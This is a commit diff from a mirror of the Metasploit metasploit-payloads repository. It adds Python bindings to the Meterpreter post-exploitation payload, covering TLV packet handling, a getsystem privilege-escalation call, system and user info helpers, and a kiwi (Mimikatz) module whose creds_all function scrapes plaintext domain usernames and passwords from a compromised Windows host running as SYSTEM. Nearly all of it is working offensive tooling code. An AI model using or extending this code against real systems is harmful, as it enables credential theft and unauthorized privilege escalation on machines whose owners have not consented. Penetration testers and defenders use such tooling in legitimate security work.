1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

More bindings, including kiwi as an example

This commit is contained in:
OJ 2015-10-15 23:00:22 +10:00 committed by Brent Cook
parent 04cb09737e
commit 4b2257c791
10 changed files with 183 additions and 37 deletions

View File

@ -6,7 +6,7 @@
#define _METERPRETER_SOURCE_COMMON_COMMON_H
/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */
#define DEBUGTRACE 0
//#define DEBUGTRACE 0
#include <stdlib.h>
#include <stdio.h>

View File

@ -182,10 +182,12 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
thread_join(pThread);
// get the exit code for our pthread
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
ERROR_INVALID_HANDLE);
}
dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);
} while (0);

View File

@ -127,34 +127,61 @@ bytes = lambda *args: str(*args[:1])
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ''
value = tlv['value']
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
if isinstance(value, float):
value = int(round(value))
data = struct.pack('>III', 12, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
else:
if value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ''
value = tlv['value']
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
if isinstance(value, float):
value = int(round(value))
data = struct.pack('>III', 12, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
else:
if value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
val = struct.unpack('>Q', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
raise StopIteration()
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
# END OF COPY PASTE
@ -166,15 +193,16 @@ def validate_bindings(required):
if len(missing) > 0:
raise Exception('Missing bindings: {0}'.format(list(missing)))
def invoke_meterpreter(method, is_local, tlv):
def invoke_meterpreter(method, is_local, tlv = ""):
validate_bindings([method])
#print "{0} packet is {1} bytes".format(method, len(tlv))
header = struct.pack('>I', PACKET_TYPE_REQUEST)
header += tlv_pack(TLV_TYPE_METHOD, method)
header += tlv_pack(TLV_TYPE_REQUEST_ID, 0)
req = struct.pack('>I', len(header) + len(tlv) + 4) + header + tlv
return getattr(meterpreter_bindings, method)(is_local, req)
def rnd_string(n):
return ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(n))

View File

@ -12,4 +12,14 @@ def getsystem():
tlv = tlv_pack(TLV_TYPE_ELEVATE_TECHNIQUE, 1)
tlv = tlv_pack(TLV_TYPE_ELEVATE_SERVICE_NAME, rnd_string(5))
resp = invoke_meterpreter('priv_elevate_getsystem', True, tlv)
return resp
if resp == None:
return False
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0
def rev2self():
resp = invoke_meterpreter('stdapi_sys_config_rev2self', True)
if resp == None:
return False
return packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] == 0

View File

@ -0,0 +1,46 @@
import meterpreter_bindings
import meterpreter.user
from meterpreter.core import *
TLV_KIWI_EXTENSION = 20000
TLV_TYPE_KIWI_PWD_ID = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 1)
TLV_TYPE_KIWI_PWD_RESULT = TLV_META_TYPE_GROUP | (TLV_KIWI_EXTENSION + 2)
TLV_TYPE_KIWI_PWD_USERNAME = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 3)
TLV_TYPE_KIWI_PWD_DOMAIN = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 4)
TLV_TYPE_KIWI_PWD_PASSWORD = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 5)
TLV_TYPE_KIWI_PWD_AUTH_HI = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 6)
TLV_TYPE_KIWI_PWD_AUTH_LO = TLV_META_TYPE_UINT | (TLV_KIWI_EXTENSION + 7)
TLV_TYPE_KIWI_PWD_LMHASH = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 8)
TLV_TYPE_KIWI_PWD_NTLMHASH = TLV_META_TYPE_STRING | (TLV_KIWI_EXTENSION + 9)
def creds_all():
if not meterpreter.user.is_system():
raise Exception('Unable to extract credentials: Not running as SYSTEM')
tlv = tlv_pack(TLV_TYPE_KIWI_PWD_ID, 0)
resp = invoke_meterpreter('kiwi_scrape_passwords', True, tlv)
if resp == None:
return False
if packet_get_tlv(resp, TLV_TYPE_RESULT)['value'] != 0:
return False
found = set([])
creds = []
for group in packet_enum_tlvs(resp, TLV_TYPE_KIWI_PWD_RESULT):
domain = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_DOMAIN)
username = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_USERNAME)
password = packet_get_tlv(group['value'], TLV_TYPE_KIWI_PWD_PASSWORD)
if domain and username and password:
key = '{0}\x01{1}\x01{2}'.format(domain['value'], username['value'], password['value'])
if not key in found:
found.add(key)
creds.append({
'Domain': domain['value'],
'Username': username['value'],
'Password': password['value']
})
return creds

View File

@ -0,0 +1,27 @@
import meterpreter_bindings
from meterpreter.core import *
TLV_STDAPI_EXTENSION = 0
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1040)
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1041)
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1043)
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1044)
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1046)
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | (TLV_STDAPI_EXTENSION + 1047)
def info():
resp = invoke_meterpreter('stdapi_sys_config_sysinfo', True)
if resp == None:
return False
return {
'Host': packet_get_tlv(resp, TLV_TYPE_COMPUTER_NAME)['value'],
'OS': packet_get_tlv(resp, TLV_TYPE_OS_NAME)['value'],
'Arch': packet_get_tlv(resp, TLV_TYPE_ARCHITECTURE)['value'],
'Lang': packet_get_tlv(resp, TLV_TYPE_LANG_SYSTEM)['value'],
'Domain': packet_get_tlv(resp, TLV_TYPE_DOMAIN)['value'],
'LoggedOn': packet_get_tlv(resp, TLV_TYPE_LOGGED_ON_USER_COUNT)['value']
}

View File

@ -0,0 +1,27 @@
import meterpreter_bindings
from meterpreter.core import *
TLV_STDAPI_EXTENSION = 0
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1042)
TLV_TYPE_SID = TLV_META_TYPE_STRING | (TLV_STDAPI_EXTENSION + 1045)
SYSTEM_SID = "S-1-5-18"
def getuid():
resp = invoke_meterpreter('stdapi_sys_config_getuid', True)
if resp == None:
return False
return packet_get_tlv(resp, TLV_TYPE_USER_NAME)['value']
def getsid():
resp = invoke_meterpreter('stdapi_sys_config_getsid', True)
if resp == None:
return False
return packet_get_tlv(resp, TLV_TYPE_SID)['value']
def is_system():
return getsid() == SYSTEM_SID

View File

@ -26,17 +26,21 @@ static PyObject* binding_invoke(PyObject* self, PyObject* args)
packet.payload = (PUCHAR)(packetBytes + sizeof(TlvHeader));
packet.payloadLength = (ULONG)packetLength - sizeof(TlvHeader);
// If the functionality doesn't require interaction with MSF, then
// make the packet as local so that the packet receives the request
// and so that the packet doesn't get sent to Meterpreter
packet.local = isLocal;
DWORD result = command_handle(gRemote, &packet);
command_handle(gRemote, &packet);
// really not sure how to deal with the non-local responses at this point.
if (packet.partner == NULL)
{
// "None"
return Py_BuildValue("");
}
return result == ERROR_SUCCESS ? Py_True : Py_False;
return PyString_FromStringAndSize(packet.partner->payload, packet.partner->payloadLength);
}
VOID binding_insert_command(const char* commandName)

View File

@ -706,8 +706,10 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_LOGGED_ON_USER_COUNT, localSysinfo->wki102_logged_on_users);
free(domainName);
}
else
{
dprintf("[CONFIG] Failed to get local system info for logged on user count / domain");
}
} while (0);
#else
CHAR os[512];